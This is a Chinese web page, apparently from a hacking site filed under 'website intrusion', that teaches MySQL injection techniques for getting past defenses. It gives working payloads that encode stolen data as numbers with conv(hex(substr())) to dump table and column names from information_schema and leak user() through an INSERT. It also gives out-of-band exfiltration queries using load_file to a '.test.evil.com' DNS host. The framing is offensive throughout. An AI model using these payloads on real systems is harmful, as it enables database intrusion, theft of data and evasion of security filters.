当前位置 主页 » 网站入侵 » 网站入侵MYSQL注入绕过新思路

网站入侵MYSQL注入绕过新思路

频道网站入侵 时间2018-01-15 浏览

关键词 怎么入侵网站 mysql注入入侵网站

摘要 网站入侵MYSQL注入绕过新思路

200x200 图片
今天带来MySQL的新姿势,姿势对不对,你们指教-_-
1.带内/带外
传统的Insert、Update是带内注入方式,直接从返回中提取到有用信息,例如时间盲注获取数据;带外注入则是间接的从外部服务器中提取数据,例如使用DNSLog获取数据。
2.字符串处理
先看看mysql对于字符串的处理,可以看到一个字符串是等于0的。
网站入侵MYSQL注入绕过新思路
进一步验证,将字符串和数字加起来。
 网站入侵MYSQL注入绕过新思路
再看看将字符串和MySQL支持的最大值加起来的结果。
 网站入侵MYSQL注入绕过新思路
可以看到,字符串返回的是DOUBLE数字,而将一个大值和一个DOUBLE值相加时,将会返回IEEE标准的DOUBLE精确值。 内容来自 uwa
这时候我们可以通过或操作获取到最大的无符号BIGINT值。
网站入侵MYSQL注入绕过新思路
3.字符串数字互转
到这里,我们可以想到一种注入方式,使用数字来传递,需要时再通过解码的方式显示字符串。
例如:
字符串 -> 数字
 网站入侵MYSQL注入绕过新思路
数字 -> 字符串
 网站入侵MYSQL注入绕过新思路
但是这里有个问题,前面提到MySQL的最大值,如果超过将不能成功解码,因此一个字符串的最大长度应该是8个字节,例如:
 网站入侵MYSQL注入绕过新思路 copyright UWA
所以,我们可以使用mysql的substr()函数进行切割,例如:
 网站入侵MYSQL注入绕过新思路
4.编码注入
1)、获取表
select conv(hex(substr((select table_name frominformation_schema.tables where table_schema=schema() limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);
2、获取列
select conv(hex(substr((select column_name frominformation_schema.columns where table_name='table name' limit 0,1),1 + (n‐1) * 8,8*n)), 16, 10);
3、Insert语句
insert into admin values ('admin', 'password');
insert into admin values ('admin','password'|conv(hex(substr(user(),1 + (n‐1) * 8, 8 * n)),16, 10);
网站入侵MYSQL注入绕过新思路
5.使用DNSLog进行带外注入
 
select load_file(concat('\\\\',(selectdatabase()),'.test.evil.com\\foo')) asthis.net
select load_file(concat('\\\\',(selectunhex(conv(8245931987826405219, 10, 16))),'.test.evil.com\\foo'))
网站入侵MYSQL注入绕过新思路

6.想想绕过防护吧,皮卡丘.哈哈
1)、盲注使用DNS解析进行高效测试
2)、使用MySQL数字与字符串编码关系绕过相关防护
支持 反对 报告 收藏 分享
 
推荐
图片新闻
热点
300x200图片